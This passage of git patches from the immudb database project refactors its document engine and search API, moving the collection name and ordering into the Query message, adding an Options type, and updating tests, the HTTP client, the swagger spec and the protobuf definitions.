express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ -package document - -import ( - "errors" - "fmt" - - "github.com/tidwall/gjson" - "google.golang.org/protobuf/types/known/structpb" -) - -// Document is a json document -type Document struct { - result gjson.Result -} - -// UnmarshalJSON satisfies the json Unmarshaler interface -func (d *Document) UnmarshalJSON(bytes []byte) error { - doc, err := NewDocumentFromBytes(bytes) - if err != nil { - return err - } - d.result = doc.result - return nil -} - -// MarshalJSON satisfies the json Marshaler interface -func (d *Document) MarshalJSON() ([]byte, error) { - return d.Bytes(), nil -} - -// NewDocument creates a new json document -func NewDocument() *Document { - parsed := gjson.Parse("{}") - return &Document{ - result: parsed, - } -} - -// NewDocumentFromBytes creates a new document from the given json bytes -func NewDocumentFromBytes(json []byte) (*Document, error) { - if !gjson.ValidBytes(json) { - return nil, fmt.Errorf("invalid json: %s", string(json)) - } - d := &Document{ - result: gjson.Result{ - Type: gjson.JSON, - Raw: string(json), - }, - } - if !d.Valid() { - return nil, errors.New("invalid document") - } - return d, nil -} - -// NewDocumentFrom creates a new document from the given struct object -func NewDocumentFrom(value *structpb.Struct) (*Document, error) { - var err error - bytes, err := value.MarshalJSON() - if err != nil { - return nil, fmt.Errorf("failed to json encode value: %v", value) - } - return NewDocumentFromBytes(bytes) -} - -// Valid returns whether the document is valid -func (d *Document) Valid() bool { - return gjson.ValidBytes(d.Bytes()) && !d.result.IsArray() -} - -// String returns the document as a json string -func (d *Document) String() string { - return d.result.String() -} - -// Bytes returns the document as json bytes -func (d *Document) Bytes() []byte { - return []byte(d.result.Raw) -} - -func (d *Document) Get(field string) interface{} { - if d.result.Get(field).Exists() { - return d.result.Get(field).Value() - } - return nil -} diff --git a/embedded/document/document_test.go b/embedded/document/document_test.go deleted file mode 100644 index f42935795c..0000000000 --- a/embedded/document/document_test.go +++ /dev/null @@ -1,91 +0,0 @@ -/* -Copyright 2023 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ -package document - -import ( - "testing" - - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" - "google.golang.org/protobuf/types/known/structpb" -) - -func newDoc(id float64, name string, age float64) *Document { - doc, err := NewDocumentFrom(&structpb.Struct{ - Fields: map[string]*structpb.Value{ - "id": structpb.NewNumberValue(id), - "name": structpb.NewStringValue(name), - "age": structpb.NewNumberValue(age), - }, - }) - if err != nil { - panic(err) - } - return doc -} - -func TestDocument(t *testing.T) { - r, err := NewDocumentFrom(&structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": structpb.NewStringValue("foo"), - "id": structpb.NewNumberValue(1), - "age": structpb.NewNumberValue(10), - }, - }) - if err != nil { - t.Fatal(err) - } - - t.Run("get", func(t *testing.T) { - usr := newDoc(2, "bar", 3) - assert.Equal(t, "bar", usr.Get("name")) - assert.Equal(t, 3.0, usr.Get("age")) - }) - t.Run("bytes", func(t *testing.T) { - assert.NotEmpty(t, string(r.Bytes())) - }) - t.Run("new from bytes", func(t *testing.T) { - n, err := NewDocumentFromBytes(r.Bytes()) - assert.NoError(t, err) - assert.Equal(t, true, n.Valid()) - }) - t.Run("unmarshalJSON", func(t *testing.T) { - usr := newDoc(7, "baz", 4) - bits, err := usr.MarshalJSON() - assert.NoError(t, err) - usr2 := NewDocument() - assert.NoError(t, usr2.UnmarshalJSON(bits)) - assert.Equal(t, usr.String(), usr2.String()) - }) - - t.Run("check field ordering", func(t *testing.T) { - r1, _ := NewDocumentFrom(&structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": structpb.NewStringValue("foo"), - "id": structpb.NewNumberValue(1), - "age": structpb.NewNumberValue(10), - }, - }) - r2, _ := NewDocumentFrom(&structpb.Struct{ - Fields: map[string]*structpb.Value{ - "age": structpb.NewNumberValue(10), - "id": structpb.NewNumberValue(1), - "name": structpb.NewStringValue("foo"), - }, - }) - require.Equal(t, r1.Bytes(), r2.Bytes()) - }) -} From c2a85989b0a50edf9287b4aa9b0b27b76000bad4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 5 May 2023 11:47:52 -0300 Subject: [PATCH 0519/1062] chore(embedded/document): avoid public dependency on sql Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 9 +++++-- embedded/document/engine_test.go | 4 +-- embedded/document/options.go | 43 ++++++++++++++++++++++++++++++++ pkg/database/database.go | 4 +-- 4 files changed, 53 insertions(+), 7 deletions(-) create mode 100644 embedded/document/options.go diff --git a/embedded/document/engine.go b/embedded/document/engine.go index c53ca2be8e..d46e44b359 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -44,8 +44,13 @@ type EncodedDocumentAtRevision struct { EncodedDocument []byte } -func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { - engine, err := sql.NewEngine(store, opts) +func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { + err := opts.Validate() + if err != nil { + return nil, err + } + + engine, err := sql.NewEngine(store, sql.DefaultOptions().WithPrefix(opts.prefix)) if err != nil { return nil, err } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 03149108b6..2f3cf3bdec 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -20,7 +20,6 @@ import ( "fmt" "testing" - "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/stretchr/testify/require" @@ -39,8 +38,7 @@ func makeEngine(t *testing.T) *Engine { } }) - opts := sql.DefaultOptions() - engine, err := NewEngine(st, opts) + engine, err := NewEngine(st, DefaultOptions()) require.NoError(t, err) return engine diff --git a/embedded/document/options.go b/embedded/document/options.go new file mode 100644 index 0000000000..9f5d5c4815 --- /dev/null +++ b/embedded/document/options.go @@ -0,0 +1,43 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package document + +import ( + "fmt" + + "github.com/codenotary/immudb/embedded/store" +) + +type Options struct { + prefix []byte +} + +func DefaultOptions() *Options { + return &Options{} +} + +func (opts *Options) Validate() error { + if opts == nil { + return fmt.Errorf("%w: nil options", store.ErrInvalidOptions) + } + + return nil +} + +func (opts *Options) WithPrefix(prefix []byte) *Options { + opts.prefix = prefix + return opts +} diff --git a/pkg/database/database.go b/pkg/database/database.go index aa42c89bda..ecf758d081 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -219,7 +219,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, err } - dbi.documentEngine, err = document.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) + dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) if err != nil { return nil, err } @@ -317,7 +317,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, err } - dbi.documentEngine, err = document.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) + dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } From 3dec5fc61a32341726f81854f608787e63cb64fd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 5 May 2023 20:27:39 -0300 Subject: [PATCH 0520/1062] chore(pkg/api): search api improvements Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 46 ++- embedded/document/engine_test.go | 69 ++-- pkg/api/httpclient/client.go | 30 +- pkg/api/openapi/apidocs.swagger.json | 35 +- pkg/api/proto/documents.proto | 36 +- pkg/api/protomodel/authorization.pb.go | 54 +-- pkg/api/protomodel/docs.md | 284 +++++++------ pkg/api/protomodel/documents.pb.go | 524 ++++++++++++------------ pkg/database/document_database.go | 39 +- pkg/database/document_database_test.go | 29 +- pkg/server/db_dummy_closed.go | 2 +- pkg/server/documents_operations.go | 88 ++-- pkg/server/documents_operations_test.go | 335 ++++++--------- pkg/server/sessions/session.go | 52 ++- 14 files changed, 773 insertions(+), 850 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index d46e44b359..15503c29b1 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -556,7 +556,11 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru return sql.NewRowSpec(values), nil } -func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, query *protomodel.Query, doc *structpb.Struct) (txID uint64, docID DocumentID, rev uint64, err error) { +func (e *Engine) UpdateDocument(ctx context.Context, query *protomodel.Query, doc *structpb.Struct) (txID uint64, docID DocumentID, rev uint64, err error) { + if query == nil { + return 0, nil, 0, ErrIllegalArguments + } + if doc == nil || len(doc.Fields) == 0 { doc = &structpb.Struct{ Fields: make(map[string]*structpb.Value), @@ -569,7 +573,7 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer } defer sqlTx.Cancel() - table, err := getTableForCollection(sqlTx, collectionName) + table, err := getTableForCollection(sqlTx, query.Collection) if err != nil { return 0, nil, 0, err } @@ -608,8 +612,8 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer } queryStmt := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(collectionName, idFieldName)}, - collectionName, + []sql.Selector{sql.NewColSelector(query.Collection, idFieldName)}, + query.Collection, queryCondition, sql.NewInteger(1), nil, @@ -645,13 +649,13 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer doc.Fields[idFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) } - txID, _, err = e.upsertDocuments(ctx, sqlTx, collectionName, []*structpb.Struct{doc}, false) + txID, _, err = e.upsertDocuments(ctx, sqlTx, query.Collection, []*structpb.Struct{doc}, false) if err != nil { return 0, nil, 0, err } // fetch revision - searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) + searchKey, err := e.getKeyForDocument(ctx, sqlTx, query.Collection, docID) if err != nil { return txID, docID, 0, nil } @@ -669,19 +673,17 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer return txID, docID, encDoc.Revision, err } -func (e *Engine) GetDocuments( - ctx context.Context, - collectionName string, - query *protomodel.Query, - orderExp []*protomodel.OrderExpression, - offset int64, -) (DocumentReader, error) { +func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offset int64) (DocumentReader, error) { + if query == nil { + return nil, ErrIllegalArguments + } + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, mayTranslateError(err) } - table, err := getTableForCollection(sqlTx, collectionName) + table, err := getTableForCollection(sqlTx, query.Collection) if err != nil { return nil, err } @@ -692,12 +694,12 @@ func (e *Engine) GetDocuments( } op := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(collectionName, DocumentBLOBField)}, - collectionName, + []sql.Selector{sql.NewColSelector(query.Collection, DocumentBLOBField)}, + query.Collection, queryCondition, nil, sql.NewInteger(offset), - generateOrderByExpression(table, orderExp), + generateOrderByExpression(table, query.OrderBy), ) // returning an open reader here, so the caller HAS to close it @@ -954,14 +956,18 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec } // DeleteDocument deletes a single document matching the query -func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, query *protomodel.Query) (err error) { +func (e *Engine) DeleteDocument(ctx context.Context, query *protomodel.Query) error { + if query == nil { + return ErrIllegalArguments + } + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) if err != nil { return mayTranslateError(err) } defer sqlTx.Cancel() - table, err := getTableForCollection(sqlTx, collectionName) + table, err := getTableForCollection(sqlTx, query.Collection) if err != nil { return err } @@ -992,7 +998,7 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error return e.sqlEngine.CopyCatalogToTx(ctx, tx) } -func generateOrderByExpression(table *sql.Table, orderBy []*protomodel.OrderExpression) (ordCols []*sql.OrdCol) { +func generateOrderByExpression(table *sql.Table, orderBy []*protomodel.OrderByClause) (ordCols []*sql.OrdCol) { for _, col := range orderBy { ordCols = append(ordCols, sql.NewOrdCol(table.Name(), col.Field, col.Desc)) } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 2f3cf3bdec..faf9335d5d 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -148,6 +148,7 @@ func TestGetDocument(t *testing.T) { require.NoError(t, err) query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -166,7 +167,7 @@ func TestGetDocument(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -208,6 +209,7 @@ func TestDocumentAudit(t *testing.T) { require.NoError(t, err) query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -221,7 +223,7 @@ func TestDocumentAudit(t *testing.T) { }, } - _, _, revision, err := engine.UpdateDocument(context.Background(), collectionName, query, &structpb.Struct{ + _, _, revision, err := engine.UpdateDocument(context.Background(), query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "_id": structpb.NewStringValue(docID.EncodeToHexString()), "pincode": structpb.NewNumberValue(2), @@ -278,6 +280,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test query with != operator", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -291,7 +294,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -302,6 +305,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test query with < operator", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -315,7 +319,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -326,6 +330,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test query with <= operator", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -339,7 +344,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -350,6 +355,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test query with > operator", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -363,7 +369,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -374,6 +380,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test query with >= operator", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -387,7 +394,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -398,6 +405,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test group query with != operator", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -416,7 +424,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -427,6 +435,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test group query with < operator", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -440,7 +449,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -451,6 +460,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test group query with > operator", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -469,7 +479,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -512,6 +522,7 @@ func TestDocumentUpdate(t *testing.T) { t.Run("update document should pass without docID", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -530,7 +541,7 @@ func TestDocumentUpdate(t *testing.T) { }, } - updatetxID, updateDocID, rev, err := engine.UpdateDocument(ctx, collectionName, query, &structpb.Struct{ + updatetxID, updateDocID, rev, err := engine.UpdateDocument(ctx, query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(31), @@ -544,6 +555,7 @@ func TestDocumentUpdate(t *testing.T) { // Verify that the document was updated query = &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -562,7 +574,7 @@ func TestDocumentUpdate(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -574,6 +586,7 @@ func TestDocumentUpdate(t *testing.T) { t.Run("update document should fail when no document is found", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -595,12 +608,13 @@ func TestDocumentUpdate(t *testing.T) { } // Test error case when no documents are found - _, _, _, err = engine.UpdateDocument(ctx, collectionName, query, toUpdateDoc) + _, _, _, err = engine.UpdateDocument(ctx, query, toUpdateDoc) require.ErrorIs(t, err, ErrDocumentNotFound) }) t.Run("update document should fail with a different docID", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -623,7 +637,7 @@ func TestDocumentUpdate(t *testing.T) { } // Call the UpdateDocument method - _, _, _, err := engine.UpdateDocument(ctx, collectionName, query, toUpdateDoc) + _, _, _, err := engine.UpdateDocument(ctx, query, toUpdateDoc) require.ErrorIs(t, err, ErrDocumentNotFound) }) } @@ -657,6 +671,7 @@ func TestFloatSupport(t *testing.T) { // query document query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -671,7 +686,7 @@ func TestFloatSupport(t *testing.T) { } // check if document is updated - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -870,7 +885,7 @@ func TestBulkInsert(t *testing.T) { require.Equal(t, uint64(2), txID) require.Len(t, docIDs, 10) - reader, err := engine.GetDocuments(ctx, collectionName, nil, nil, 0) + reader, err := engine.GetDocuments(ctx, &protomodel.Query{Collection: collectionName}, 0) require.NoError(t, err) defer reader.Close() @@ -918,6 +933,7 @@ func TestPaginationOnReader(t *testing.T) { t.Run("test reader for multiple reads", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -931,7 +947,7 @@ func TestPaginationOnReader(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -972,6 +988,7 @@ func TestDeleteDocument(t *testing.T) { require.NoError(t, err) query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -990,7 +1007,7 @@ func TestDeleteDocument(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -998,10 +1015,10 @@ func TestDeleteDocument(t *testing.T) { require.NoError(t, err) require.Len(t, docs, 1) - err = engine.DeleteDocument(ctx, collectionName, query) + err = engine.DeleteDocument(ctx, query) require.NoError(t, err) - reader, err = engine.GetDocuments(ctx, collectionName, query, nil, 0) + reader, err = engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() @@ -1077,6 +1094,7 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { t.Run("order by single field", func(t *testing.T) { query := &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -1088,14 +1106,13 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { }, }, }, + OrderBy: []*protomodel.OrderByClause{{ + Field: "number", + Desc: true, + }}, } - orderBy := []*protomodel.OrderExpression{{ - Field: "number", - Desc: true, - }} - - reader, err := engine.GetDocuments(ctx, collectionName, query, orderBy, 0) + reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 6291a18959..20e129392d 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -120,7 +120,7 @@ type ModelDocumentAuditRequest struct { Desc *bool `json:"desc,omitempty"` DocumentId *string `json:"documentId,omitempty"` Page *int64 `json:"page,omitempty"` - PerPage *int64 `json:"perPage,omitempty"` + PageSize *int64 `json:"pageSize,omitempty"` } // ModelDocumentAuditResponse defines model for modelDocumentAuditResponse. @@ -130,8 +130,7 @@ type ModelDocumentAuditResponse struct { // ModelDocumentDeleteRequest defines model for modelDocumentDeleteRequest. type ModelDocumentDeleteRequest struct { - Collection *string `json:"collection,omitempty"` - Query *ModelQuery `json:"query,omitempty"` + Query *ModelQuery `json:"query,omitempty"` } // ModelDocumentDeleteResponse defines model for modelDocumentDeleteResponse. @@ -180,25 +179,22 @@ type ModelDocumentProofResponse struct { // ModelDocumentSearchRequest defines model for modelDocumentSearchRequest. type ModelDocumentSearchRequest struct { - Collection *string `json:"collection,omitempty"` - Desc *bool `json:"desc,omitempty"` - Page *int64 `json:"page,omitempty"` - PerPage *int64 `json:"perPage,omitempty"` - Query *ModelQuery `json:"query,omitempty"` - SearchID *string `json:"searchID,omitempty"` + Page *int64 `json:"page,omitempty"` + PageSize *int64 `json:"pageSize,omitempty"` + Query *ModelQuery `json:"query,omitempty"` + SearchId *string `json:"searchId,omitempty"` } // ModelDocumentSearchResponse defines model for modelDocumentSearchResponse. type ModelDocumentSearchResponse struct { Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` - SearchID *string `json:"searchID,omitempty"` + SearchId *string `json:"searchId,omitempty"` } // ModelDocumentUpdateRequest defines model for modelDocumentUpdateRequest. type ModelDocumentUpdateRequest struct { - Collection *string `json:"collection,omitempty"` - Document *map[string]interface{} `json:"document,omitempty"` - Query *ModelQuery `json:"query,omitempty"` + Document *map[string]interface{} `json:"document,omitempty"` + Query *ModelQuery `json:"query,omitempty"` } // ModelDocumentUpdateResponse defines model for modelDocumentUpdateResponse. @@ -255,9 +251,17 @@ type ModelKeepAliveRequest = map[string]interface{} // ModelKeepAliveResponse defines model for modelKeepAliveResponse. type ModelKeepAliveResponse = map[string]interface{} +// ModelOrderByClause defines model for modelOrderByClause. +type ModelOrderByClause struct { + Desc *bool `json:"desc,omitempty"` + Field *string `json:"field,omitempty"` +} + // ModelQuery defines model for modelQuery. type ModelQuery struct { + Collection *string `json:"collection,omitempty"` Expressions *[]ModelQueryExpression `json:"expressions,omitempty"` + OrderBy *[]ModelOrderByClause `json:"orderBy,omitempty"` } // ModelQueryExpression defines model for modelQueryExpression. diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 16e37213d7..f5200d73b9 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -728,7 +728,7 @@ "type": "integer", "format": "int64" }, - "perPage": { + "pageSize": { "type": "integer", "format": "int64" } @@ -748,9 +748,6 @@ "modelDocumentDeleteRequest": { "type": "object", "properties": { - "collection": { - "type": "string" - }, "query": { "$ref": "#/definitions/modelQuery" } @@ -855,26 +852,17 @@ "modelDocumentSearchRequest": { "type": "object", "properties": { - "searchID": { - "type": "string" - }, - "collection": { + "searchId": { "type": "string" }, "query": { "$ref": "#/definitions/modelQuery" }, - "orderBy": { - "type": "array", - "items": { - "$ref": "#/definitions/modelOrderExpression" - } - }, "page": { "type": "integer", "format": "int64" }, - "perPage": { + "pageSize": { "type": "integer", "format": "int64" } @@ -883,7 +871,7 @@ "modelDocumentSearchResponse": { "type": "object", "properties": { - "searchID": { + "searchId": { "type": "string" }, "revisions": { @@ -897,9 +885,6 @@ "modelDocumentUpdateRequest": { "type": "object", "properties": { - "collection": { - "type": "string" - }, "query": { "$ref": "#/definitions/modelQuery" }, @@ -945,7 +930,6 @@ "$ref": "#/definitions/modelComparisonOperator" }, "value": { - "type": "object" } } }, @@ -1016,7 +1000,7 @@ "modelKeepAliveResponse": { "type": "object" }, - "modelOrderExpression": { + "modelOrderByClause": { "type": "object", "properties": { "field": { @@ -1030,11 +1014,20 @@ "modelQuery": { "type": "object", "properties": { + "collection": { + "type": "string" + }, "expressions": { "type": "array", "items": { "$ref": "#/definitions/modelQueryExpression" } + }, + "orderBy": { + "type": "array", + "items": { + "$ref": "#/definitions/modelOrderByClause" + } } } }, diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 45e774b3dd..c9835ebd5a 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -144,9 +144,8 @@ message DocumentInsertManyResponse { } message DocumentUpdateRequest { - string collection = 1; - Query query = 2; - google.protobuf.Struct document = 3; + Query query = 1; + google.protobuf.Struct document = 2; } message DocumentUpdateResponse { @@ -156,21 +155,16 @@ message DocumentUpdateResponse { } message DocumentSearchRequest { - string searchID = 1; - string collection = 2; - Query query = 3; - repeated OrderExpression orderBy = 4; - uint32 page = 5; - uint32 perPage = 6; -} - -message OrderExpression { - string field = 1; - bool desc = 2; + string searchId = 1; + Query query = 2; + uint32 page = 3; + uint32 pageSize = 4; } message Query { - repeated QueryExpression expressions = 1; + string collection = 1; + repeated QueryExpression expressions = 2; + repeated OrderByClause orderBy = 3; } message QueryExpression { @@ -193,8 +187,13 @@ enum ComparisonOperator { LIKE = 6; } +message OrderByClause { + string field = 1; + bool desc = 2; +} + message DocumentSearchResponse { - string searchID = 1; + string searchId = 1; repeated DocumentAtRevision revisions = 2; } @@ -209,7 +208,7 @@ message DocumentAuditRequest { string documentId = 2; bool desc = 3; uint32 page = 4; - uint32 perPage = 5; + uint32 pageSize = 5; } message DocumentAuditResponse { @@ -232,8 +231,7 @@ message DocumentProofResponse { } message DocumentDeleteRequest { - string collection = 1; - Query query = 2; + Query query = 1; } message DocumentDeleteResponse {} diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index 9dfbdaa997..0a2889b9fd 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.30.0 +// protoc-gen-go v1.28.1 // protoc v3.21.12 // source: authorization.proto @@ -363,40 +363,40 @@ var file_authorization_proto_rawDesc = []byte{ 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 